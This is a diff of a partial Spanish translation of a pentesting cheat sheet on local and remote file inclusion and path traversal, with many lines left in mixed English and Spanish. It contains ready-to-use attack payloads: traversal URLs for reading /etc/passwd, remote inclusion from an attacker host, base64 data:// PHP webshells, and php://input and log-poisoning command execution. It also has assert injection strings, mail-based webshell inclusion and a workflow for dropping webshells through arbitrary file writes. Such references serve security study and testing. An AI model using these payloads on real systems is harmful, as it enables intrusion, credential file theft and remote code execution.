-Path truncation es un método empleado para manipular rutas de archivos en aplicaciones web. A menudo se usa para acceder a archivos restringidos sorteando ciertas medidas de seguridad que añaden caracteres adicionales al final de las rutas. El objetivo es construir una ruta que, una vez alterada por la medida de seguridad, siga apuntando al archivo deseado.
+Path truncation es un método empleado para manipular rutas de archivos en aplicaciones web. A menudo se utiliza para acceder a archivos restringidos eludiendo ciertas medidas de seguridad que añaden caracteres adicionales al final de las rutas de archivos. El objetivo es crear una ruta de archivo que, una vez modificada por la medida de seguridad, siga apuntando al archivo deseado.

 En PHP, varias representaciones de una ruta de archivo pueden considerarse equivalentes debido a la naturaleza del sistema de archivos. Por ejemplo:

- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
- Cuando los últimos 6 caracteres son `passwd`, añadir un `/` (convirtiéndolo en `passwd/`) no cambia el archivo objetivo.
- De manera similar, si se añade `.php` a una ruta (como `shellcode.php`), agregar `/.` al final no alterará el archivo al que se accede.
+- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` se tratan todas como la misma ruta.
+- Cuando los últimos 6 caracteres son `passwd`, agregar un `/` (convirtiéndolo en `passwd/`) no cambia el archivo objetivo.
+- De forma similar, si `.php` se añade a una ruta de archivo (como `shellcode.php`), agregar `/.` al final no alterará el archivo al que se accede.

-Los ejemplos proporcionados muestran cómo utilizar path truncation para acceder a `/etc/passwd`, un objetivo común debido a su contenido sensible (información de cuentas de usuario):
+Los ejemplos proporcionados demuestran cómo utilizar path truncation para acceder a `/etc/passwd`, un objetivo común debido a su contenido sensible (información de cuentas de usuario):
 ```
 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
 http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
 http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
 ```
-En estos escenarios, el número de traversals necesarios podría ser aproximadamente 2027, pero este número puede variar según la configuración del servidor.
+En estos escenarios, el número de traversals necesarios podría ser alrededor de 2027, pero este número puede variar según la configuración del servidor.

- **Using Dot Segments and Additional Characters**: Las secuencias de traversal (`../`) combinadas con segmentos adicionales de puntos y caracteres pueden usarse para navegar el sistema de archivos, ignorando efectivamente cadenas añadidas por el servidor.
- **Determining the Required Number of Traversals**: Mediante prueba y error, se puede encontrar el número exacto de secuencias `../` necesarias para llegar al directorio raíz y luego a `/etc/passwd`, asegurando que cualquier cadena añadida (como `.php`) sea neutralizada pero la ruta deseada (`/etc/passwd`) permanezca intacta.
- **Starting with a Fake Directory**: Es práctica común comenzar la ruta con un directorio inexistente (como `a/`). Esta técnica se usa como medida de precaución o para satisfacer los requisitos de la lógica de análisis de rutas del servidor.
+- **Using Dot Segments and Additional Characters**: Las secuencias de traversal (`../`) combinadas con segmentos de punto adicionales y caracteres pueden usarse para navegar el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor.
+- **Determining the Required Number of Traversals**: Mediante prueba y error, se puede encontrar el número preciso de secuencias `../` necesarias para navegar hasta el directorio raíz y luego a `/etc/passwd`, asegurando que cualquier cadena añadida (como `.php`) sea neutralizada pero la ruta deseada (`/etc/passwd`) permanezca intacta.
+- **Starting with a Fake Directory**: Es una práctica común comenzar la ruta con un directorio inexistente (como `a/`). Esta técnica se usa como medida de precaución o para cumplir los requisitos de la lógica de análisis de rutas del servidor.

-Al emplear técnicas de path truncation, es crucial entender el comportamiento del análisis de rutas del servidor y la estructura del sistema de archivos. Cada escenario puede requerir un enfoque distinto, y a menudo es necesario realizar pruebas para encontrar el método más efectivo.
+Al emplear técnicas de truncado de ruta, es crucial comprender el comportamiento de análisis de rutas del servidor y la estructura del sistema de archivos. Cada escenario puede requerir un enfoque distinto, y a menudo es necesario probar para encontrar el método más efectivo.

 **Esta vulnerabilidad fue corregida en PHP 5.3.**

-### **Filter bypass tricks**
+### **Trucos para evadir filtros**
 ```
 http://example.com/index.php?page=....//....//etc/passwd
 http://example.com/index.php?page=..///////..////..//////etc/passwd
@ -145,23 +145,23 @@ http://example.com/index.php?page=PhP://filter
 ```
 ## Remote File Inclusion

-En php esto está deshabilitado por defecto porque **`allow_url_include`** está **Off.** Debe estar **On** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:
+En php esto está deshabilitado por defecto porque **`allow_url_include`** está **Off.** Debe estar **On** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu server y obtener RCE:
 ```python
 http://example.com/index.php?page=http://atacker.com/mal.php
 http://example.com/index.php?page=\\attacker.com\shared\mal.php
 ```
-Si por alguna razón **`allow_url_include`** está **On**, pero PHP está **filtering** el acceso a páginas web externas, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), podrías usar, por ejemplo, el protocolo data con base64 para decodificar un código PHP b64 y obtener RCE:
+Si por alguna razón **`allow_url_include`** está **On**, pero PHP está **filtering** el acceso a páginas web externas, [según este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), podrías usar por ejemplo el data protocol con base64 para decodificar un b64 PHP code y egt RCE:
 ```
 PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
 ```
 > [!TIP]
-> En el código anterior, el `+.txt` final se añadió porque el atacante necesitaba una cadena que terminara en `.txt`, así que la cadena termina con ello y después del b64 decode esa parte devolverá solo datos basura y el código PHP real será incluido (y por lo tanto, ejecutado).
-
-Otro ejemplo **sin usar el protocolo `php://`** sería:
+> En el código anterior, el `+.txt` final se añadió porque el atacante necesitaba una cadena que terminara en `.txt`, así que la cadena acaba con eso y, tras el b64 decode, esa parte devolverá solo basura y el código PHP real será incluido (y, por lo tanto, ejecutado).
+>
+> Otro ejemplo que **no usa el protocolo `php://`** sería:
 ```
 data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
 ```
-## Python Elemento raíz
+## Elemento raíz en Python

 En Python, en un código como este:
 ```python
@ -173,13 +173,13 @@ Si el usuario pasa una **ruta absoluta** a **`file_name`**, la **ruta anterior s
 os.path.join(os.getcwd(), "public", "/etc/passwd")
 '/etc/passwd'
 ```
-Es el comportamiento previsto según [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
+Este es el comportamiento previsto según [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):

-> Si un componente es una ruta absoluta, se descartan todos los componentes anteriores y la unión continúa desde el componente de ruta absoluta.
+> Si un componente es una ruta absoluta, todos los componentes anteriores se descartan y la concatenación continúa desde el componente de ruta absoluta.

-## Listado de directorios en Java
+## Java Listar directorios

-Parece que si tienes un Path Traversal en Java y **solicitas un directorio** en lugar de un archivo, se devuelve un **listado del directorio**. Esto no ocurre en otros lenguajes (que yo sepa).
+Parece que si tienes un Path Traversal en Java y **pides un directorio** en lugar de un archivo, se devuelve **el listado del directorio**. Esto no ocurre en otros lenguajes (que yo sepa).

 ## Top 25 parámetros

@ -211,31 +211,31 @@ Aquí tienes una lista de los 25 parámetros principales que podrían ser vulner
 ?mod={payload}
 ?conf={payload}
 ```
-## LFI / RFI usando PHP wrappers y protocolos
+## LFI / RFI using PHP wrappers & protocols

 ### php://filter

-Los filtros de PHP permiten realizar operaciones básicas de **modificación sobre los datos** antes de que sean leídos o escritos. Hay 5 categorías de filtros:
+PHP filters allow perform basic **modification operations on the data** before being it's read or written. There are 5 categories of filters:

 - [String Filters](https://www.php.net/manual/en/filters.string.php):
 - `string.rot13`
 - `string.toupper`
 - `string.tolower`
- `string.strip_tags`: Elimina etiquetas de los datos (todo lo que esté entre los caracteres "<" y ">")
+- `string.strip_tags`: Remove tags from the data (everything between "<" and ">" chars)
 - Note that this filter has disappear from the modern versions of PHP
 - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
 - `convert.base64-encode`
 - `convert.base64-decode`
 - `convert.quoted-printable-encode`
 - `convert.quoted-printable-decode`
- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) . Para obtener la **lista de todas las codificaciones** soportadas, ejecuta en la consola: `iconv -l`
+- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) . To get the **list of all the encodings** supported run in the console: `iconv -l`

 > [!WARNING]
-> Abusando del filtro de conversión `convert.iconv.*` puedes **generar texto arbitrario**, lo cual puede ser útil para escribir texto arbitrario o hacer que una función como include procese texto arbitrario. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
+> Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).

 - [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Comprime el contenido (útil si vas a exfiltrar mucha información)
- `zlib.inflate`: Descomprime los datos
+- `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info)
+- `zlib.inflate`: Decompress the data
 - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
 - `mcrypt.*` : Deprecado
 - `mdecrypt.*` : Deprecado
@ -273,23 +273,23 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
 > [!WARNING]
 > La parte "php://filter" no distingue entre mayúsculas y minúsculas

-### Uso de php filters como oracle para leer archivos arbitrarios
+### Using php filters as oracle to read arbitrary files

-[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) is proposed a technique to read a local file without having the output given back from the server. This technique is based on a **boolean exfiltration of the file (char by char) using php filters** as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception.
+[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) se propone una técnica para leer un archivo local sin que el servidor devuelva directamente el contenido. Esta técnica se basa en una **exfiltración booleana del archivo (carácter por carácter) usando php filters** como oracle. Esto es porque los php filters pueden usarse para hacer que un texto sea lo suficientemente grande como para que php lance una excepción.

-In the original post you can find a detailed explanation of the technique, but here is a quick summary:
+En el post original puedes encontrar una explicación detallada de la técnica, pero aquí tienes un resumen rápido:

- Use the codec **`UCS-4LE`** to leave leading character of the text at the beginning and make the size of string increases exponentially.
- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error**
- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
- This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beginning of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error.
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
- Using other transformations like **rot13** at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
- When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
- And in order to be able to obtain **más datos** the idea is to **generar 2 bytes de datos basura al principio** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot con los siguientes 2 bytes**, and **eliminar los datos hasta los datos basura** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the desired bit to leak.
+- Usa el codec **`UCS-4LE`** para dejar el carácter inicial del texto al principio y hacer que el tamaño de la cadena aumente exponencialmente.
+- Esto se usará para generar un **texto tan grande que, cuando la letra inicial se adivina correctamente**, php disparará un **error**.
+- El filtro **dechunk** **eliminará todo si el primer char no es un hexadecimal**, por lo que podemos saber si el primer char es hex.
+- Esto, combinado con lo anterior (y otros filters dependiendo de la letra adivinada), nos permitirá adivinar una letra al principio del texto viendo cuándo realizamos suficientes transformaciones como para que deje de ser un carácter hexadecimal. Porque si es hex, dechunk no lo eliminará y la bomba inicial provocará el error de php.
+- El codec **convert.iconv.UNICODE.CP930** transforma cada letra en la siguiente (por ejemplo: a -> b). Esto permite descubrir si la primera letra es una `a` porque si aplicamos 6 de estos codec a->b->c->d->e->f->g la letra deja de ser un carácter hexadecimal; por lo tanto dechunk no la elimina y se produce el error de php porque se multiplica con la bomba inicial.
+- Usando otras transformaciones como **rot13** al principio es posible leak otros chars como n, o, p, q, r (y otros codecs pueden usarse para mover otras letras al rango hex).
+- Cuando el carácter inicial es un número es necesario codificarlo en base64 y leak las 2 primeras letras para filtrar el número.
+- El problema final es ver **cómo leak más que la letra inicial**. Al usar filters de orden de memoria como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** es posible cambiar el orden de los chars y situar en la primera posición otras letras del texto.
+- Y para poder obtener **datos adicionales** la idea es **generar 2 bytes de basura al principio** con **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para que **gire con los siguientes 2 bytes**, y **eliminar los datos hasta la basura** (esto eliminará los primeros 2 bytes del texto inicial). Repetir hasta alcanzar el bit deseado para leak.

-In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
+En el post también fue leaked una herramienta para automatizar esto: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).

 ### php://fd

@ -298,12 +298,12 @@ This wrapper allows to access file descriptors that the process has open. Potent
 echo file_get_contents("php://fd/3");
 $myfile = fopen("/etc/passwd", "r");
 ```
-También puedes usar **php://stdin, php://stdout and php://stderr** para acceder a los **descriptores de archivo 0, 1 y 2** respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque)
+También puedes usar **php://stdin, php://stdout y php://stderr** para acceder a los **descriptores de archivo 0, 1 y 2** respectivamente (no estoy seguro de cómo podría ser útil esto en un ataque)

-### zip:// and rar://
+### zip:// y rar://

 Sube un archivo Zip o Rar con un PHPShell dentro y accede a él.\
-Para poder abusar del protocolo rar **debe ser activado específicamente**.
+Para poder abusar del protocolo rar, **debe activarse específicamente**.
 ```bash
 echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
 zip payload.zip payload.php;
@ -328,7 +328,7 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
 http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
 NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
 ```
-Ten en cuenta que este protocolo está restringido por las configuraciones de php **`allow_url_open`** y **`allow_url_include`**
+Tenga en cuenta que este protocolo está restringido por las configuraciones de php **`allow_url_open`** y **`allow_url_include`**

 ### expect://

@ -339,13 +339,13 @@ http://example.com/index.php?page=expect://ls
 ```
 ### input://

-Especifique su payload en los parámetros POST:
+Especifica tu payload en los parámetros POST:
 ```bash
 curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
 ```
 ### phar://

-Un archivo `.phar` puede utilizarse para ejecutar código PHP cuando una aplicación web emplea funciones tales como `include` para cargar archivos. El fragmento de código PHP mostrado a continuación demuestra la creación de un archivo `.phar`:
+Un archivo `.phar` puede utilizarse para ejecutar código PHP cuando una aplicación web emplea funciones como `include` para la carga de archivos. El fragmento de código PHP que se muestra a continuación demuestra la creación de un archivo `.phar`:
 ```php
 <?php
 $phar = new Phar('test.phar');
@ -354,15 +354,15 @@ $phar->addFromString('test.txt', 'text');
 $phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
 $phar->stopBuffering();
 ```
-Para compilar el archivo `.phar`, se debe ejecutar el siguiente comando:
+Para compilar el archivo `.phar`, debe ejecutarse el siguiente comando:
 ```bash
 php --define phar.readonly=0 create_path.php
 ```
-Al ejecutarlo, se creará un archivo llamado `test.phar`, que podría aprovecharse para explotar vulnerabilidades de Local File Inclusion (LFI).
+Al ejecutarse, se creará un archivo llamado `test.phar`, que podría aprovecharse para explotar vulnerabilidades de Local File Inclusion (LFI).

-En casos donde la LFI solo realiza lectura de archivos sin ejecutar el código PHP contenido, mediante funciones como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, podría intentarse explotar una vulnerabilidad de deserialization. Esta vulnerabilidad está asociada con la lectura de archivos usando el protocolo `phar`.
+En casos donde la LFI solo realiza lectura de archivos sin ejecutar el código PHP interno, a través de funciones como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` o `filesize()`, se podría intentar explotar una vulnerabilidad de deserialización. Esta vulnerabilidad está asociada con la lectura de archivos usando el protocolo `phar`.

-For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
+Para una comprensión detallada de cómo explotar vulnerabilidades de deserialización en el contexto de archivos `.phar`, consulte el documento enlazado a continuación:

 [Phar Deserialization Exploitation Guide](phar-deserialization.md)

@ -373,76 +373,76 @@ phar-deserialization.md

 ### CVE-2024-2961

-It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
-Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of a specific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\
-It was possible to alloc chunks of specific sizes abusing more php filters.
+Se pudo abusar de **any arbitrary file read from PHP that supports php filters** para obtener RCE. La descripción detallada puede [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
+Resumen muy rápido: un **3 byte overflow** en el heap de PHP fue explotado para **alter the chain of free chunks** de un tamaño específico con el fin de poder **write anything in any address**, por lo que se añadió un hook para llamar a **`system`**.\
+Fue posible alloc chunks de tamaños específicos abusando de más php filters.

 ### More protocols

-Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
+Consulte más posibles [ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**

- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escribe en memoria o en un archivo temporal (no estoy seguro de cómo esto puede ser útil en un ataque de file inclusion)
+- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escribe en memoria o en un archivo temporal (no estoy seguro de cómo esto puede ser útil en un file inclusion attack)
 - [file://](https://www.php.net/manual/en/wrappers.file.php) — Acceso al sistema de archivos local
 - [http://](https://www.php.net/manual/en/wrappers.http.php) — Acceso a URLs HTTP(s)
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acceso a URLs FTP(s)
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flujos de compresión
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Buscar nombres de ruta que coincidan con un patrón (No devuelve nada imprimible, por lo que no es realmente útil aquí)
+- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acceso a FTP(s) URLs
+- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Streams de compresión
+- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (No devuelve nada imprimible, así que no es realmente útil aquí)
 - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flujos de audio (No útil para leer archivos arbitrarios)
+- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Streams de audio (No útil para leer archivos arbitrarios)

-## LFI via PHP's 'assert'
+## LFI vía 'assert' de PHP

-Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.
+Los riesgos de Local File Inclusion (LFI) en PHP son notablemente altos cuando se trata de la función 'assert', que puede ejecutar código contenido en cadenas. Esto es especialmente problemático si se comprueba la entrada que contiene caracteres de directory traversal como ".." pero no se sanitiza correctamente.

-For example, PHP code might be designed to prevent directory traversal like so:
+Por ejemplo, el código PHP podría estar diseñado para prevenir directory traversal de la siguiente manera:
 ```bash
 assert("strpos('$file', '..') === false") or die("");
 ```
-Aunque esto tiene como objetivo detener traversal, crea involuntariamente un vector para code injection. Para explotar esto y leer el contenido de archivos, un atacante podría usar:
+Aunque esto pretende detener traversal, inadvertidamente crea un vector para code injection. Para aprovechar esto y leer el contenido de archivos, un attacker podría usar:
 ```plaintext
 ' and die(highlight_file('/etc/passwd')) or '
 ```
-De manera similar, para ejecutar comandos arbitrarios del sistema, se podría usar:
+De forma similar, para ejecutar comandos arbitrarios del sistema, se podría usar:
 ```plaintext
 ' and die(system("id")) or '
 ```
-Es importante **URL-encode these payloads**.
+It's important to **URL-encode these payloads**.

 ## PHP Blind Path Traversal

 > [!WARNING]
-> Esta técnica es relevante en casos donde **controlas** la **file path** de una **PHP function** que **access a file** pero no verás el contenido del archivo (como una simple llamada a **`file()`**) ya que el contenido no se muestra.
+> Esta técnica es relevante en casos en que tú **controlas** la **ruta del archivo** de una **función PHP** que va a **acceder a un archivo** pero no verás el contenido del archivo (como una llamada simple a **`file()`**) ya que el contenido no se muestra.

-En [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo un blind path traversal puede abusarse vía PHP filter para **exfiltrate the content of a file via an error oracle**.
+En [**esta increíble publicación**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo un blind path traversal puede ser abusado mediante filtros de PHP para **exfiltrate the content of a file via an error oracle**.

-En resumen, la técnica usa la **"UCS-4LE" encoding** para hacer que el contenido de un archivo sea tan **big** que la **PHP function opening** el archivo provocará un **error**.
+En resumen, la técnica usa la codificación **"UCS-4LE"** para hacer que el contenido de un archivo sea tan **grande** que la **función PHP que abre** el archivo desencadene un **error**.

-Luego, para leak the first char se usa el filter **`dechunk`** junto con otros como **base64** o **rot13**, y finalmente los filtros **convert.iconv.UCS-4.UCS-4LE** y **convert.iconv.UTF16.UTF-16BE** se usan para **place other chars at the beggining and leak them**.
+Luego, para leak the first char se utiliza el filtro `dechunk` junto con otros como `base64` o `rot13`, y finalmente los filtros `convert.iconv.UCS-4.UCS-4LE` y `convert.iconv.UTF16.UTF-16BE` se usan para colocar otros chars al principio and leak them.

-**Funciones que podrían ser vulnerables**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (solo objetivo de solo lectura con esto)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
+**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`

-Para los detalles técnicos consulta el post mencionado!
+For the technical details check the mentioned post!

 ## LFI2RCE

 ### Arbitrary File Write via Path Traversal (Webshell RCE)

-Cuando el código del lado del servidor que ingiere/sube archivos construye la ruta de destino usando datos controlados por el usuario (p. ej., un filename o URL) sin canonicalizar y validar, los segmentos `..` y las rutas absolutas pueden escapar del directorio previsto y causar una escritura arbitraria de archivos. Si puedes colocar el payload bajo un directorio expuesto en la web, normalmente obtendrás RCE no autenticada al desplegar una webshell.
+When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.

-Flujo típico de explotación:
- Identificar una primitive de escritura en un endpoint o background worker que acepte un path/filename y escriba contenido en disco (p. ej., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determinar directorios expuestos en la web. Ejemplos comunes:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Construir una ruta de traversal que salga del directorio de almacenamiento previsto hacia el webroot, e incluir el contenido de tu webshell.
- Accede al payload dejado y ejecuta comandos.
+Typical exploitation workflow:
+- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
+- Determine web-exposed directories. Common examples:
+  - Apache/PHP: `/var/www/html/`
+  - Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
+  - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
+- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
+- Browse to the dropped payload and execute commands.

-Notas:
- El servicio vulnerable que realiza la escritura puede escuchar en un puerto no HTTP (p. ej., un JMF XML listener en TCP 4004). El portal web principal (otro puerto) servirá más tarde tu payload.
- En stacks Java, estas escrituras de archivos a menudo se implementan con concatenación simple de `File`/`Paths`. La falta de canonicalización/allow-listing es la falla principal.
+Notes:
+- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
+- On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw.

-Ejemplo genérico estilo XML/JMF (los esquemas de producto varían – el DOCTYPE/body wrapper es irrelevante para el traversal):
+Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <JMF SenderID="hacktricks" Version="1.3">
@ -466,26 +466,26 @@ in.transferTo(out);
 </Command>
 </JMF>
 ```
-Medidas de hardening que mitigan esta clase de fallos:
- Resolver a una ruta canónica y verificar que sea descendiente de un directorio base en la lista de permitidos.
- Rechazar cualquier ruta que contenga `..`, raíces absolutas, o letras de unidad; preferir nombres de archivo generados.
- Ejecutar el writer con una cuenta de bajos privilegios y segregar los directorios de escritura de los roots servidos.
+Hardening que derrota esta clase de bugs:
+- Resuelve la ruta a su forma canónica y verifica que sea descendiente de un directorio base en la lista de permitidos.
+- Rechaza cualquier ruta que contenga `..`, raíces absolutas o letras de unidad; prefiere nombres de archivo generados.
+- Ejecuta el proceso que escribe como una cuenta de bajos privilegios y separa los directorios de escritura de los directorios servidos.

 ## Remote File Inclusion

-Explicado anteriormente, [**sigue este enlace**](#remote-file-inclusion).
+Explicado previamente, [**follow this link**](#remote-file-inclusion).

 ### Via Apache/Nginx log file

-Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función include podrías intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, insertar en el **user agent** o en un **parámetro GET** un php shell como **`<?php system($_GET['c']); ?>`** e incluir ese archivo
+Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función include, podrías intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, colocar en el **user agent** o en un **GET parameter** un php shell como **`<?php system($_GET['c']); ?>`** e incluir ese archivo

 > [!WARNING]
-> Ten en cuenta que **si usas comillas dobles** para el shell en lugar de **comillas simples**, las comillas dobles se convertirán en la cadena "_**quote;**_", **PHP lanzará un error** allí y **nada más se ejecutará**.
+> Ten en cuenta que **si usas comillas dobles** para el shell en lugar de **comillas simples**, las comillas dobles serán modificadas por la cadena "_**quote;**_", **PHP lanzará un error** y **nada más se ejecutará**.
 >
-> Además, asegúrate de **escribir correctamente el payload** o PHP fallará cada vez que intente cargar el archivo de logs y no tendrás una segunda oportunidad.
+> Además, asegúrate de **escribir correctamente el payload** o PHP dará error cada vez que intente cargar el archivo de logs y no tendrás una segunda oportunidad.

-Esto también puede hacerse en otros logs pero **ten cuidado,** el código dentro de los logs podría estar codificado en URL y eso podría destruir el Shell. El encabezado **authorisation "basic"** contiene "user:password" en Base64 y se decodifica dentro de los logs. El PHPShell podría insertarse dentro de este encabezado.\
-Otros posibles paths de logs:
+Esto también puede hacerse en otros logs pero **ten cuidado,** el código dentro de los logs podría estar URL encoded y esto podría destruir el Shell. La cabecera **authorisation "basic"** contiene "user:password" en Base64 y se decodifica dentro de los logs. El PHPShell podría ser insertado dentro de esta cabecera.\
+Otros posibles archivos de log:
 ```python
 /var/log/apache2/access.log
 /var/log/apache/access.log
@ -501,47 +501,47 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin

 ### Vía correo electrónico

-**Envía un correo** a una cuenta interna (user@localhost) que contenga tu payload PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e intenta incluirlo en el correo del usuario con una ruta como **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
+**Envía un correo** a una cuenta interna (user@localhost) que contenga tu payload PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e intenta incluir el correo del usuario con una ruta como **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**

-### A través de /proc/*/fd/*
+### Vía /proc/*/fd/*

-1. Sube muchas shells (por ejemplo: 100)
